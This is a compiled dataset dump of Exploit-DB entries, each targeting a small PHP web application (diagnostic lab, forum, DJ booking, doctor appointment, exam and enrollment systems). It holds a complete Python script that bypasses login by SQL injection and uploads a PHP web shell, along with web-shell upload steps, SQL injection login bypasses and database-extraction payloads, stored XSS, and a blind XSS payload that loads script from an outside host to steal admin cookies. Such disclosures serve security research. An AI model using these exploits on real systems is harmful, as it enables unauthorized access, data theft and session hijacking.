deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51045
Description: Online Diagnostic Lab Management System v1.0 - Remote Code Execution (RCE) (Unauthenticated)
Type: webapps
Platform: php
Date: 2023-03-25
Author: yousef alraddadi

Exploit:
# Exploit Title: Online Diagnostic Lab Management System v1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Google Dork: N/A
# Date: 2022-9-23
# Exploit Author: yousef alraddadi - https://twitter.com/y0usef_11
# Vendor Homepage: https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/diagnostic_0.zip
# Tested on: windows 11 - XAMPP
# Version: 1.0
# Authentication Required: bypass login with sql injection

#/usr/bin/python3

import requests
import os
import sys
import time
import random

# clean screen
os.system("cls")
os.system("clear")

logo = '''
##################################################################
#                                                                                                                                            #
#    Exploit Script ( Online Diagnostic Lab Management System )                             #
#                                                                                                                                            #
##################################################################
'''
print(logo)

url = str(input("Enter website url : "))
username = ("' OR 1=1-- -")
password = ("test")

req = requests.Session()

target = url+"/diagnostic/login.php"
data = {'username':username,'password':password}

website = req.post(target,data=data)
files = open("rev.php","w")
payload = "<?php system($_GET['cmd']);?>"
files.write(payload)
files.close()

hash = random.getrandbits(128)
name_file = str(hash)+".php"
if "Login Successfully" in website.text:

    print("[+] Login Successfully")
    website_1 = url+"/diagnostic/php_action/createOrder.php"

    upload_file = {
        "orderDate": (None,""),
        "clientName": (None,""),
        "clientContact" : (None,""),
        "productName[]" : (None,""),
        "rateValue[]" : (None,""),
        "quantity[]" : (None,""),
        "totalValue[]" : (None,""),
        "subTotalValue" : (None,""),
        "totalAmountValue" : (None,""),
        "discount" : (None,""),
        "grandTotalValue" : (None,""),
        "gstn" : (None,""),
        "vatValue" : (None,""),
        "paid" : (None,""),
        "dueValue" : (None,""),
        "paymentType" : (None,""),
        "paymentStatus" : (None,""),
        "paymentPlace" : (None,""),
        "productImage" : (name_file,open("rev.php","rb"))
        }

    up = req.post(website_1,files=upload_file)
    print("[+] Check here file shell => "+url+"/diagnostic/assets/myimages/"+name_file)
    print("[+] can exect command here => "+url+"/diagnostic/assets/myimages/"+name_file+"?cmd=whoami")
else:
    print("[-] Check username or password")
Exploit-DB #48512
Description: Online Discussion Forum Site 1.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2020-05-25
Author: Enesdex

Exploit:
# Exploit Title: Online Discussion Forum Site 1.0 - Remote Code Execution
# Google Dork: N/A
# Date: 2020-05-24
# Exploit Author: Selim Enes 'Enesdex' Karaduman
# Vendor Homepage: https://www.sourcecodester.com/php/14233/online-discussion-forum-site.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14233&title=Online+Discussion+Forum+Site
# Version: 1.0 (REQUIRED)
# Tested on: Windows 10 / Wamp Server
# CVE : N/A
Go to http://localhost/Online%20Discussion%20Forum%20Site/register.php register page to sign up
Then fill other fields and upload the shell.php with following PHP-shell-code

<?php
$command = shell_exec($_REQUEST['cmd']);
echo $command;
?>

After the registration process is completed go to the following page and execute the os command via uploaded shell
http://localhost/Online%20Discussion%20Forum%20Site/ups/shell.php?cmd=$THECODE-YOU-WANT-TO-EXECUTE

Any unauthenticated attacker is able to execute arbitrary os command
Exploit-DB #48897
Description: Online Discussion Forum Site 1.0 - XSS in Messaging System
Type: webapps
Platform: php
Date: 2020-10-19
Author: j5oh

Exploit:
# Exploit Title: Online Discussion Forum Site 1.0 - XSS in Messaging System
# Google Dork: N/A
# Date: 2020-10-17
# Exploit Author: j5oh
# Vendor Homepage: https://www.sourcecodester.com/php/14233/online-discussion-forum-site.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14233&title=Online+Discussion+Forum+Site
# Version: 1.0 (REQUIRED)
# Tested on: Windows 10 / Wamp Server
# CVE : N/A

The messaging subsystem in the Online Discussion Forum is vulnerable to XSS in the message body. This will execute when viewing the messages page: http://localhost/Online%20Discussion%20Forum%20Site/messages.php.

XSS can be done through the messaging interface, go to http://localhos/Online%20Discussion%20Forum%20Site/messages.php, select 'Send New Message', search for the user to send the message to, click the 'Send Message' button next to the user, and add the javascript in the message body. Alternatively, if you know the user id you can just send the message directly thought the tt parameter of http://localhost/Online%20Discussion%20Forum%20Site/messageH.php.

# PoC:

curl -d 'uto=1&tt=<script> alert("XSS"); </script>' -b "PHPSESSID=798bkt3dkvoczjp7arnco3jf0c"  http://localhost/Online%20Discussion%20Forum%20Site/messageH.php
Exploit-DB #50386
Description: Online DJ Booking Management System 1.0 - 'Multiple' Blind Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-10-07
Author: Yash Mahajan

Exploit:
# Exploit Title: Online DJ Booking Management System 1.0 - 'Multiple' Blind Cross-Site Scripting
# Date: 2021-10-06
# Exploit Author: Yash Mahajan
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/online-dj-booking-management-system-using-php-and-mysql/
# Version: V 1.0
# Vulnerable endpoint: http://localhost/odms/book-services.php?bookid=1
# Vulnerable Page URI : http://localhost/odms/admin/view-booking-detail.php?editid=10&&bookingid=989913724
# Tested on Windows 10, XAMPP

*Steps to Reproduce:*
1) Navigate http://localhost/odms/book-services.php?bookid=1
2) Enter Blind Xss payload `"><script+src=https://yourxsshunterusername.xss.ht>` in "name=","vaddress=" and "addinfo=" parameters and click on "Book".

Request:
========

POST /odms/book-services.php?bookid=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 335
Origin: http://localhost
Connection: close
Referer: http://localhost/odms/book-services.php?bookid=1
Cookie: PHPSESSID=crj216nrjq751tt0gs4o92undb
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

name="><script+src=https://biest.xss.ht></script>&email=aa@gg.com&mobnum=[PII_REDACTED]
&edate=2000-10-24&est=6+p.m&eetime=1+p.m&vaddress="><script+src=https://biest.xss.ht></script>
&eventtype=Pre+Engagement&addinfo="><script+src=https://biest.xss.ht></script>&submit=Book


Now to confirm the vulnerability

3) Login as admin by navigating to http://localhost/odms/admin/login.php.
4) Now as soon as admin visits /view-booking-detail.php to approve the booking, payload fires and attacker will get the details like ip address, cookies of admin
5) Able to steal admin's cookies successfully!!

#POC
https://ibb.co/Vj3jn2d
https://ibb.co/bm9MGdG
Exploit-DB #49059
Description: Online Doctor Appointment Booking System PHP and Mysql 1.0 - 'q' SQL Injection
Type: webapps
Platform: php
Date: 2020-11-17
Author: Ramil Mustafayev

Exploit:
# Exploit Title: Online Doctor Appointment Booking System PHP and Mysql 1.0 - 'q' SQL Injection
# Google Dork: N/A
# Date: 11/16/2020
# Exploit Author: Ramil Mustafayev
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-doctor-appointment-booking-system-php-and-mysql/
# Software Link: https://projectworlds.in/wp-content/uploads/2020/05/PHP-Doctor-Appointment-System.zip
# Version: 1.0
# Tested on: Win10 x64, Kali Linux x64
# CVE : N/A
######## Description ########
# 
# An SQL injection vulnerability was discovered in PHP-Doctor-Appointment-System.
#
# In getuser.php file, GET parameter 'q' is vulnerable.
#
# The vulnerability could allow for the improper neutralization of special elements in SQL commands and may lead to the product being vulnerable to SQL injection. 
# 
#############################

Vulnerable code: 

include_once 'assets/conn/dbconnect.php';
$q = $_GET['q']; // Vulnerable param
// echo $q;
$res = mysqli_query($con,"SELECT * FROM doctorschedule WHERE scheduleDate='$q'"); // Injection point

Used Payload:

http://localhost/[PATH]/getuser.php?q=1%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x[PII_REDACTED]%2CIFNULL%28CAST%28schema_name%20AS%20NCHAR%29%2C0x20%29%2C0x[PII_REDACTED]%29%2CNULL%2CNULL%2CNULL%2CNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA%23

Output:

Extracted database: qbqvqdb_healthcareqvbxq
Exploit-DB #49396
Description: Online Doctor Appointment System 1.0 - 'Multiple' Stored XSS
Type: webapps
Platform: php
Date: 2021-01-08
Author: Mohamed habib Smidi

Exploit:
# Exploit Title: Online Doctor Appointment System  1.0 - 'Multiple' Stored XSS
# Tested on: Windows 10
# Exploit Author: Mohamed habib Smidi (Craniums)
# Date: 2021-01-08
# Vendor Homepage: https://www.sourcecodester.com/php/14663/online-doctor-appointment-system-php-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14663&title=Online+Doctor+Appointment+System+in+PHP+with+Full+Source+Code
# Affected Version: Version 1
# CVE : CVE-2021-25791

Step 1: Login to the doctor account in http://TARGET/doctorappointmentsystem/adminlogin.php
Step 2: then Click on the username and go to profile
Step 3: Click on Update profile.
Step 4: Input "<script>alert("craniums")</script>"  in the field First Name,Last Name and Address.
Step 5: This Will trigger the payload each time you update or visit a new page.
Exploit-DB #49447
Description: Online Documents Sharing Platform 1.0 - 'user' SQL Injection
Type: webapps
Platform: php
Date: 2021-01-21
Author: CANKAT ÇAKMAK

Exploit:
# Exploit Title: Online Documents Sharing Platform 1.0 - 'user' SQL Injection
# Date: 21.01.2021
# Exploit Author: CANKAT ÇAKMAK
# Vendor Homepage: https://www.sourcecodester.com/php/14653/online-documents-sharing-platform-php-full-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/notes.zip
# Version: V1.0
# Tested on: Windows 10

#Description: The 'user' parameterer is vulnerable to error-based and time-based SQL Injection.

----------------------------------------------------

POST /path/login.php HTTP/1.1
Host: test.com
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://test.com/path/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

user=%27&pass=%27&login=login

----------------------------------------------------

#PoC:

Parameter: user (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: user=' AND (SELECT 2047 FROM(SELECT
COUNT(*),CONCAT(0x7176706a71,(SELECT
(ELT(2047=2047,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NRPK&pass='&login=login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user=' AND (SELECT 2110 FROM (SELECT(SLEEP(5)))pSYW)--
HnhM&pass='&login=login
Exploit-DB #8476
Description: Online Email Manager - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-04-17
Author: Hussin X

Exploit:
Online Email Manager Insecure Cookie Handling Vulnerability


{____________________________________}
 Author: Hussin X

 Home :  WwW.IQ-TY.CoM

 email:  darkangel_g85[at]Yahoo[DoT]com
{____________________________________}



script : http://www.esoftpro.com/web_scripts_online_email_manager.phps
 
DorK   : Powered by Online Email Manager



exploit:

javascript:document.cookie = "auth=admin; path=/";



exploit for demo

|# http://www.esoftpro.com/demo/OEM/admin/index.php

|ex   javascript:document.cookie = "auth=admin; path=/";

|#  go to url "emailList.php"

|#  http://www.esoftpro.com/demo/OEM/admin/emailList.php

|# you login in to admin page :d






Greetz to :{ IQ-SecuritY members } { | FAHD | CraCkEr | jiko | str0ke | Cyber-Zone | kadmiwe | ahmed hassan | Sakab }

end.

# milw0rm.com [2009-04-17]
Exploit-DB #50400
Description: Online Employees Work From Home Attendance System 1.0 - SQLi Authentication Bypass
Type: webapps
Platform: php
Date: 2021-10-08
Author: Merve Oral

Exploit:
# Exploit Title: Online Employees Work From Home Attendance System 1.0 - SQLi Authentication Bypass
# Date: 08.10.2021
# Exploit Author: Merve Oral
# Vendor Homepage: https://www.sourcecodester.com/php/14981/online-employees-work-home-attendance-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14981&title=Online+Employees+Work+From+Home+Attendance+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Online Employees Work From Home Attendance System/Logs in a Web App v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/audit_trail/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /wfh_attendance/Actions.php?a=login HTTP/1.1
Host: merve
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 40
Origin: http://merve
Connection: close
Referer: http://merve/wfh_attendance/admin/login.php
Cookie: PHPSESSID=55nnlgv0kg2qaki92o2s9vl5rq

username=admin'+or+'1'%3D'1&password=any
Exploit-DB #50399
Description: Online Enrollment Management System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2021-10-08
Author: Amine ismail

Exploit:
# Exploit Title: Online Enrollment Management System 1.0 - Authentication Bypass
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html
# Software Link: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Admin panel authentication bypass

Admin panel authentication can be bypassed due to a SQL injection in the login form:

Request:
  POST /OnlineEnrolmentSystem/admin/login.php HTTP/1.1
  Host: 127.0.0.1
  Content-Length: 63
  Cookie: PHPSESSID=jd2phsg2f7pvv2kfq3lgfkc98q

  user_email=admin'+OR+1=1+LIMIT+1;--+-&user_pass=admin&btnLogin=

PoC:
  curl -d "user_email=admin' OR 1=1 LIMIT 1;--+-&user_pass=junk&btnLogin=" -X POST http://127.0.0.1/OnlineEnrolmentSystem/admin/login.php
Exploit-DB #50450
Description: Online Event Booking and Reservation System 1.0 - 'reason' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-10-25
Author: Alon Leviev

Exploit:
# Exploit Title: Online Event Booking and Reservation System 1.0 - 'reason' Stored Cross-Site Scripting (XSS)
# Exploit Author: Alon Leviev
# Date: 22-10-2021
# Category: Web application
# Vendor Homepage: https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/event-management.zip
# Version: 1.0
# Tested on: Linux 
# Vulnerable page: HOLY
# Vulnerable Parameters: "reason"

Technical description:
A stored XSS vulnerability exists in the Event management software. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. 

Steps to exploit:
1) Navigate to http://localhost/event-management/views/?v=HOLY
2) Insert your payload in the "reason" parameter
3) Click "Add holiday"

Proof of concept (Poc):
The following payload will allow you to run the javascript - 
<script>alert("This is an XSS")</script>
---

POST /event-management/api/process.php?cmd=holiday HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Origin: http://localhost
Connection: close
Referer: http://localhost/event-management/views/?v=HOLY&msg=Holiday+record+successfully+deleted.
Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9
Upgrade-Insecure-Requests: 1

date=2021-12-21&reason=%3Cscript%3Ealert%28%22This+is+an+xss%22%29%3C%2Fscript%3E

---
Exploit-DB #49576
Description: Online Exam System With Timer 1.0  - 'email' SQL injection Auth Bypass
Type: webapps
Platform: php
Date: 2021-02-19
Author: Suresh Kumar

Exploit:
# Exploit Title: Online Exam System With Timer 1.0  - 'email' SQL injection Auth Bypass
# Date: 2021-02-18
# Exploit Author: Suresh Kumar
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/13877/online-exam-timer.html
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

# This application is vulnerable to SQL injection vulnerability.
# Vulnerable Page: http://localhost/CEE/adminpanel/admin/index.php
# Payload used:

Email    => ' or 'x'='x
Password => ' or 'x'='x

# POC: Whenever we will go to the page (http://localhost/CEE/adminpanel/admin/index.php) when we inject SQL Payload then we will directly enter into the Admin Panel page.
Exploit-DB #43070
Description: Online Exam Test Application - 'sort' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Online Exam Test Application - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/1z2e4672468/php-scripts/online-exam-test-application
# Demo: http://198.38.86.159/~onlineexamboard/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15989
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/resources.php?action=category&sort=[SQL]
# 
# -8++/*!07777UNION*/+/*!07777SELECT*/+0x31,0x32,0x496873616e2053656e63616e,(/*!07777Select*/+export_set(5,@:=0,(/*!07777select*/+count(*)/*!07777from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!07777table_name*/,0x3c6c693e,2),/*!07777column_name*/,0xa3a,2)),@,2))--+-
# 
# Parameter: sort (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: action=category&sort=8 AND 5525=5525
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: action=category&sort=8 AND SLEEP(5)
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 4 columns
#     Payload: action=category&sort=8 UNION ALL SELECT NULL,NULL,CONCAT(0x7176707a71,0x77654f6a51797a6c7755546b54574f[PII_REDACTED]4c[PII_REDACTED]667a6e584e[PII_REDACTED]4f4f454e,0x716b766a71),NULL-- Yhyw
# 	
# Etc..
# # # # #
Exploit-DB #43291
Description: Online Exam Test Application Script 1.6 - 'exams.php?sort' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Online Exam Test Application Script 1.6 - 'Exams.php 'sort' SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/online-exam-test-application/
# Version: 1.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/exams.php?sort=[SQL]
# 
# -4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+-
# 
# http://server/exams.php?sort=-4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+-
# 
# Parameter: sort (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: sort=4 AND 9300=9300
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 6 columns
#     Payload: sort=4 UNION ALL SELECT NULL,CONCAT(0x717a6b7071,0x436a5574724b[PII_REDACTED]546d496b47534c4e586c4275794c[PII_REDACTED]477874484b[PII_REDACTED],0x[PII_REDACTED]),NULL,NULL,NULL,NULL-- Knya
# 
# # # # #